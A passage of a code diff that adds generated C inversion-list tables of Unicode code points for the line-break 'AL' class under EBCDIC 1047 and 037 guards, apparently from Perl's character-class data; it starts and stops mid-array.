+	0x11175,
+	0x11176,
+	0x11177,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111C7,
+	0x111C8,
+	0x111C9,
+	0x111CA,
+	0x111CD,
+	0x111CE,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x1123A,
+	0x1123B,
+	0x1123D,
+	0x1123E,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11362,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x1144F,
+	0x11450,
+	0x1145D,
+	0x1145E,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C8,
+	0x11580,
+	0x115AF,
+	0x115C6,
+	0x115C9,
+	0x115D8,
+	0x115DC,
+	0x11600,
+	0x11630,
+	0x11643,
+	0x11645,
+	0x11680,
+	0x116AB,
+	0x118A0,
+	0x118E0,
+	0x118EA,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A40,
+	0x11A41,
+	0x11A46,
+	0x11A47,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C40,
+	0x11C41,
+	0x11C5A,
+	0x11C6D,
+	0x11C72,
+	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x13258,
+	0x1325E,
+	0x13282,
+	0x13283,
+	0x13286,
+	0x1328A,
+	0x13379,
+	0x1337C,
+	0x1342F,
+	0x14400,
+	0x145CE,
+	0x145D0,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B30,
+	0x16B3A,
+	0x16B44,
+	0x16B45,
+	0x16B46,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x16F93,
+	0x16FA0,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BC9D,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D1E9,
+	0x1D200,
+	0x1D242,
+	0x1D245,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA87,
+	0x1DA8B,
+	0x1DA8C,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D0,
+	0x1E900,
+	0x1E944,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F12E,
+	0x1F12F,
+	0x1F16A,
+	0x1F16C,
+	0x1F39C,
+	0x1F39E,
+	0x1F3B5,
+	0x1F3B7,
+	0x1F3BC,
+	0x1F3BD,
+	0x1F4A0,
+	0x1F4A1,
+	0x1F4A2,
+	0x1F4A3,
+	0x1F4A4,
+	0x1F4A5,
+	0x1F4AF,
+	0x1F4B0,
+	0x1F4B1,
+	0x1F4B3,
+	0x1F500,
+	0x1F507,
+	0x1F517,
+	0x1F525,
+	0x1F532,
+	0x1F54A,
+	0x1F5D4,
+	0x1F5DC,
+	0x1F5F4,
+	0x1F5FA,
+	0x1F650,
+	0x1F676,
+	0x1F67C,
+	0x1F680,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__AL_invlist[] = { /* for EBCDIC 037 */
+	1467,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x4C,
+	0x4D,
+	0x50,
+	0x5A,
+	0x5C,
+	0x5D,
+	0x5F,
+	0x60,
+	0x62,
+	0x6B,
+	0x6D,
+	0x6F,
+	0x70,
+	0x7A,
+	0x7B,
+	0x7D,
+	0x7E,
+	0x7F,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9A,
+	0x9C,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xAA,
+	0xAC,
+	0xB1,
+	0xB4,
+	0xB5,
+	0xBC,
+	0xBD,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2C7,
+	0x2CE,
+	0x2D0,
+	0x2D1,
+	0x2D8,
+	0x2DC,
+	0x2DD,
+	0x2DE,
+	0x2DF,
+	0x2E0,
+	0x300,
+	0x370,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x483,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x58D,
+	0x58F,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5F3,
+	0x5F5,
+	0x600,
+	0x609,
+	0x60E,
+	0x610,
+	0x620,
+	0x64B,
+	0x66D,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6DD,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x70E,
+	0x70F,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F8,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x830,
+	0x83F,
+	0x840,
+	0x859,
+	0x85E,
+	0x85F,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8E2,
+	0x8E3,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x970,
+	0x981,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9BE,
+	0x9CE,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9F0,
+	0x9F2,
+	0x9F4,
+	0x9F9,
+	0x9FA,
+	0x9FB,
+	0x9FC,
+	0x9FE,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA72,
+	0xA75,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xABE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAF0,
+	0xAF1,
+	0xAF9,
+	0xAFA,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB3E,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB70,
+	0xB78,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBD0,
+	0xBD1,
+	0xBF0,
+	0xBF9,
+	0xBFA,
+	0xBFB,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC78,
+	0xC81,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCBE,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCF1,
+	0xCF3,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD4E,
+	0xD50,
+	0xD54,
+	0xD57,
+	0xD58,
+	0xD62,
+	0xD70,
+	0xD79,
+	0xD7A,
+	0xD80,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDF4,
+	0xDF5,
+	0xE4F,
+	0xE50,
+	0xF00,
+	0xF01,
+	0xF05,
+	0xF06,
+	0xF13,
+	0xF14,
+	0xF15,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF2A,
+	0xF34,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF88,
+	0xF8D,
+	0xFC0,
+	0xFC6,
+	0xFC7,
+	0xFCD,
+	0xFCE,
+	0xFD0,
+	0xFD4,
+	0xFD9,
+	0x104C,
+	0x1050,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x1100,
+	0x1200,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1360,
+	0x1361,
+	0x1362,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1720,
+	0x1732,
+	0x1740,
+	0x1752,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x17D9,
+	0x17DA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x1802,
+	0x1807,
+	0x1808,
+	0x180A,
+	0x180B,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1940,
+	0x1941,
+	0x19E0,
+	0x1A17,
+	0x1A1E,
+	0x1A20,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B5C,
+	0x1B5D,
+	0x1B61,
+	0x1B6B,
+	0x1B74,
+	0x1B7D,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1BFC,
+	0x1C24,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CC0,
+	0x1CC8,
+	0x1CD3,
+	0x1CD4,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1D00,
+	0x1DC0,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x1FFE,
+	0x1FFF,
+	0x2017,
+	0x2018,
+	0x2022,
+	0x2024,
+	0x2038,
+	0x2039,
+	0x203E,
+	0x2044,
+	0x204A,
+	0x2056,
+	0x2057,
+	0x2058,
+	0x205C,
+	0x205D,
+	0x2061,
+	0x2065,
+	0x2070,
+	0x2072,
+	0x2075,
+	0x207D,
+	0x2080,
+	0x2081,
+	0x2085,
+	0x208D,
+	0x2090,
+	0x209D,
+	0x2100,
+	0x2103,
+	0x2104,
+	0x2105,
+	0x2106,
+	0x2109,
+	0x210A,
+	0x2113,
+	0x2114,
+	0x2116,
+	0x2117,
+	0x2121,
+	0x2123,
+	0x212B,
+	0x212C,
+	0x2154,
+	0x2156,
+	0x215B,
+	0x215C,
+	0x215E,
+	0x215F,
+	0x2160,
+	0x216C,
+	0x2170,
+	0x217A,
+	0x2189,
+	0x218A,
+	0x218C,
+	0x219A,
+	0x21D2,
+	0x21D3,
+	0x21D4,
+	0x21D5,
+	0x2200,
+	0x2201,
+	0x2202,
+	0x2204,
+	0x2207,
+	0x2209,
+	0x220B,
+	0x220C,
+	0x220F,
+	0x2210,
+	0x2211,
+	0x2214,
+	0x2215,
+	0x2216,
+	0x221A,
+	0x221B,
+	0x221D,
+	0x2221,
+	0x2223,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x222D,
+	0x222E,
+	0x222F,
+	0x2234,
+	0x2238,
+	0x223C,
+	0x223E,
+	0x2248,
+	0x2249,
+	0x224C,
+	0x224D,
+	0x2252,
+	0x2253,
+	0x2260,
+	0x2262,
+	0x2264,
+	0x2268,
+	0x226A,
+	0x226C,
+	0x226E,
+	0x2270,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x2295,
+	0x2296,
+	0x2299,
+	0x229A,
+	0x22A5,
+	0x22A6,
+	0x22BF,
+	0x22C0,
+	0x22EF,
+	0x22F0,
+	0x2308,
+	0x230C,
+	0x2312,
+	0x2313,
+	0x231A,
+	0x231C,
+	0x2329,
+	0x232B,
+	0x23F0,
+	0x23F4,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x24FF,
+	0x2500,
+	0x254C,
+	0x2550,
+	0x2575,
+	0x2580,
+	0x2590,
+	0x2592,
+	0x2596,
+	0x25A0,
+	0x25A2,
+	0x25A3,
+	0x25AA,
+	0x25B2,
+	0x25B4,
+	0x25B6,
+	0x25B8,
+	0x25BC,
+	0x25BE,
+	0x25C0,
+	0x25C2,
+	0x25C6,
+	0x25C9,
+	0x25CB,
+	0x25CC,
+	0x25CE,
+	0x25D2,
+	0x25E2,
+	0x25E6,
+	0x25EF,
+	0x25F0,
+	0x2600,
+	0x2604,
+	0x2605,
+	0x2607,
+	0x2609,
+	0x260A,
+	0x260E,
+	0x2610,
+	0x2614,
+	0x2619,
+	0x261A,
+	0x2620,
+	0x2639,
+	0x263C,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2660,
+	0x2662,
+	0x2663,
+	0x2666,
+	0x2667,
+	0x266B,
+	0x266C,
+	0x266E,
+	0x266F,
+	0x2670,
+	0x267F,
+	0x2680,
+	0x269E,
+	0x26A0,
+	0x26BD,
+	0x26CE,
+	0x26CF,
+	0x26E2,
+	0x26E3,
+	0x26E4,
+	0x26E8,
+	0x2705,
+	0x2708,
+	0x270E,
+	0x2757,
+	0x2758,
+	0x275B,
+	0x2761,
+	0x2762,
+	0x2765,
+	0x2768,
+	0x2794,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2B55,
+	0x2B5A,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2CFD,
+	0x2CFE,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2E16,
+	0x2E17,
+	0x2E1A,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E2F,
+	0x2E30,
+	0x2E32,
+	0x2E33,
+	0x2E35,
+	0x2E3A,
+	0x2E3F,
+	0x2E40,
+	0x4DC0,
+	0x4E00,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA6F3,
+	0xA700,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA828,
+	0xA82C,
+	0xA830,
+	0xA838,
+	0xA839,
+	0xA83A,
+	0xA840,
+	0xA874,
+	0xA882,
+	0xA8B4,
+	0xA8F2,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA926,
+	0xA930,
+	0xA947,
+	0xA95F,
+	0xA960,
+	0xA984,
+	0xA9B3,
+	0xA9C1,
+	0xA9C7,
+	0xA9CA,
+	0xA9CE,
+	0xA9CF,
+	0xA9D0,
+	0xA9DE,
+	0xA9E0,
+	0xAA00,
+	0xAA29,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA5C,
+	0xAA5D,
+	0xAAE0,
+	0xAAEB,
+	0xAAF2,
+	0xAAF5,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABE3,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB29,
+	0xFB2A,
+	0xFB50,
+	0xFBC2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFDFD,
+	0xFDFE,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFFE8,
+	0xFFEF,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FD,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E1,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10858,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x1091C,
+	0x10920,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A40,
+	0x10A48,
+	0x10A58,
+	0x10A59,
+	0x10A60,
+	0x10AA0,
+	0x10AC0,
+	0x10AE5,
+	0x10AEB,
+	0x10AF0,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11003,
+	0x11038,
+	0x11049,
+	0x1104E,
+	0x11052,
+	0x11066,
+	0x11083,
+	0x110B0,
+	0x110BB,
+	0x110BE,
+	0x110D0,
+	0x110E9,
+	0x11103,
+	0x11127,
+	0x11150,
+	0x11173,
+	0x11174,
+	0x11175,
+	0x11176,
+	0x11177,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111C7,
+	0x111C8,
+	0x111C9,
+	0x111CA,
+	0x111CD,
+	0x111CE,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x1123A,
+	0x1123B,
+	0x1123D,
+	0x1123E,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11362,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x1144F,
+	0x11450,
+	0x1145D,
+	0x1145E,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C8,
+	0x11580,
+	0x115AF,
+	0x115C6,
+	0x115C9,
+	0x115D8,
+	0x115DC,
+	0x11600,
+	0x11630,
+	0x11643,
+	0x11645,
+	0x11680,
+	0x116AB,
+	0x118A0,
+	0x118E0,
+	0x118EA,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A40,
+	0x11A41,
+	0x11A46,
+	0x11A47,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C40,
+	0x11C41,
+	0x11C5A,
+	0x11C6D,
+	0x11C72,
+	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x13258,
+	0x1325E,
+	0x13282,
+	0x13283,
+	0x13286,
+	0x1328A,
+	0x13379,
+	0x1337C,
+	0x1342F,
+	0x14400,
+	0x145CE,
+	0x145D0,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B30,
+	0x16B3A,
+	0x16B44,
+	0x16B45,
+	0x16B46,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x16F93,
+	0x16FA0,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BC9D,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D1E9,
